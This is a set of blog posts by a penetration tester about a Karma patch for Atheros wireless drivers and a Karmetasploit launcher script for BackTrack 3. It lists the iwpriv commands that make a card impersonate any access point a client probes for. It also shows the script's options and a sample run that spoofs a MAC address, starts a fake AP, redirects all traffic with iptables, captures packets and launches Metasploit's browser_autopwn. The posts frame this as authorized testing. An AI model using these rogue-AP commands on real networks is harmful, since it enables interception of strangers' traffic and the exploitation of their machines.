DiGiNinga Karma Patch for Atheros Cards ROCKS!!!!

I have been playing with the karma patch that DiGiNinja coded for the Madwifi-ng kernel modules for Atheros wireless cards. This allows us to set our Atheros wireless card to respond to any request broadcast from wireless client as if we are the AP they are looking for, in addition we will broadcast the SSID as if we are the AP to see if any other client in the area is looking for the network. This patched kernel modules are in BT3 and in iPwn OS that HD Moore uses for his mobile laptops, and I have to say this patch is a must for any serius pentester. I decided to make an lzm for Backtrack 3 after being foolish enough to over write the modules with a clean install of madwifi.
The features that it adds are as follows:

  • Karma functionality
  • SSID Blacklist and Whitelist
  • MacAddress Blacklist and Whitelist
As a pentester this gives you the flexibility to target your attacks and be able to follow strict Rules of Engagement allowing you to only attack machines wich you are allowed to attack, the SSID's and MAC's can be added dynamically so you do not have to stop your attack. The commands that I found are as follows:
Enabling and Disabling Karma:
  • iwpriv atho karma 1 (Enable Karma)
  • iwpriv ath0 karma 0 (Disable Karma)
  • iwpriv ath0 get_karma (Get status of Karma)
MAC Address Whitelisting and Blacklisting:
  • iwpriv ath0 maccmd 1 (Sets the card in whitelist mode)
  • iwpriv ath0 maccmd 2 (Sets the card in Blacklist mode)
  • iwpriv ath0 maccmd 0 (Disable all MAC filtering modes)
  • iwpriv ath0 addmac (Adds mac address to the list)
  • iwpriv ath0 kickmac (Removes MAC Address form the list)
  • iwpriv ath0 maccmd 3 (Clears the entire MAC Address list)
SSID Whitelisting and Blacklisting:
  • iwpriv ath0 karma_bw 0 (Sets the card in Blacklist mode)
  • iwpriv ath0 karma_bw 1 (Sets the card in Whitelist mode)
  • iwpriv ath0 get_karma_bw (Get status of Blacklisting and Whitelisting Mode)
  • iwpriv ath0 addkarmassid (Adds SSID to the list)
  • iwpriv ath0 clrkarmalist 0 (Clears SSID List)

Updated Karmetasploit Attack Script


Here is the version of the script that will use the DigiNinja Karma patch for atheros, I find it a more flexible and reliable alternative to airbase-ng, but it will be limited to atheros cards for all other aircrack supported cards the modes that use airbase-ng can be used, plus fixed the path issue with Metasploit. Hope you guys like it. Here is the link to the script with the changes:
/kmsapng.tar.gz
if you changed the kernel modules of your BT3 install you can get the patched modules of madwifi with digininja's karma patch and the patch from aircrack-ng here:
/madwifi-r37 … g-patc.lzm
I do have to say that digininjas karma patch is a must for anyone using an atheros card and is doing wireless client side attacks.
Karmetasploit AP launcher by Carlos Perez for Backtrack3
Version 0.3
carlos_perez[at]darkoperator.com
usage: kmsap.sh

Options:
-m : Every mode is a different approach of the attack.
km for regular karmetasploit attack using airbase-ng
kmf for filtered attack where only targeted
clients can associate to the fake AP using the
filter file.
kma for karmetasploit attack using DigiNinja patched
madwifi drivers.
kmaf for karmetasploit attack using DigiNinja patched
madwifi drivers and mac address filtering.
-i : Interface supported by aircrack-ng for injection
-f : Text file with mac addresses of client computers
permited to connect to the fake AP used with kmf and
kmaf modes, on mac address per line.
-s : SSID name used as the initial broadcast
-r : Metasploit Resource Script (Optional)
-h : This help message

Note: mode and interface are required for all types of attacks and -f for filtered attacks

Karmetasploit Script Updated

/kmsapng.tgz

The script will do the following:
- Change the MAC address of the interface
- Set the Interface in Monitor Mode
- Start the Karma AP with Airbase-ng
- Change the MTU Size for the interface
- Set the IP
- Start the DHCPD server
- Set in iptables a redirect of all traffic to it self so as to bypass cached DNS entries
- Start Metasploit.

The script will crate a log file in /root called karma.log, as well as a sqlite db and a capture file all in the same folder.

here is a preview of the script and its option, I posted this same entry in the remote-exploit forums and the Pauldotcom forums and have received very good feedback on it.

bt ~ # ./kmsapng.sh -h
Karmetasploit AP launcher by Carlos Perez for Backtrack3
Version 0.2
carlos_perez[at]darkoperator.com
usage: kmsap.sh

Options:
-m : Mode, either km for regular karmetasploit attack
or kmf for filtered attack where only targeted
clients can associate to the fake AP.
-i : Interface supported by aircrack-ng for injection
-f : Text file with mac addresses of client computers
permited to connect to the fake AP.
-s : SSID name used as the initial broadcast
-h : This help message

Note: mode and interface are required for both type of attacks

Example:

bt ~ # ./kmsapng.sh -i wlan0 -m km -s linksys
Changing MAC Address
Current MAC: 00:0f:c1:08:12:91 (Wave Corporation)
Faked MAC: 00:40:1b:5b:b0:0b (Printer Systems Corp.)
starting fake ap
This will take 15 seconds ..............
DHCPD started successfully
Starting Packet capture to /root/kms.cap
Starting Metasploit

_
| | o
_ _ _ _ _|_ __, , _ | | __ _|_
/ |/ |/ | |/ | / | / \_|/ \_|/ / \_| |
| | |_/|__/|_/\_/|_/ \/ |__/ |__/\__/ |_/|_/
/|
\|

=[ msf v3.2-testing
+ -- --=[ 288 exploits - 124 payloads
+ -- --=[ 17 encoders - 6 nops
=[ 56 aux

resource> load db_sqlite3
[*] Successfully loaded plugin: db_sqlite3
resource> db_create /root/karma.db
[*] The specified database already exists, connecting
[*] Successfully connected to the database
[*] File: /root/karma.db
resource> use auxiliary/server/browser_autopwn
resource> setg AUTOPWN_HOST 10.0.0.1
AUTOPWN_HOST => 10.0.0.1
resource> setg AUTOPWN_PORT 55550
AUTOPWN_PORT => 55550
resource> setg AUTOPWN_URI /ads
AUTOPWN_URI => /ads
resource> set LHOST 10.0.0.1

......................................

I have tested the script using Ralink 2570, Realtek 8187L and Atheros cards. Let me know if you guys like it and if you have any recommendations. The script is heavily commented in case you whant to take a look.

Karmetasploit Script for Bactrack 3

I decided to write a small script to help me with running Karmetasploit during authorized pentest. The script has two options one where it runs as a greedy access point answering all request and a second option that uses a file with a MAC addresses as filters so as to limit the attack to those clients that one is authorized, the MAC addresses have to be one by line. I hope you find it useful.

Karmetasploit Script Download

You must have the latest version of Aircrack-ng 1.0 from svn and the latest patched versions of the drivers of the wireless cards, the cards must support injection. I have only been able to test it with atheros and ralink cards. It will generate the following files:

  • Capture file of all traffic /root/kms.cap
  • Log file /msf3/karma.log
  • Sqlite3 Database with all information from Metasploit /root/karma.db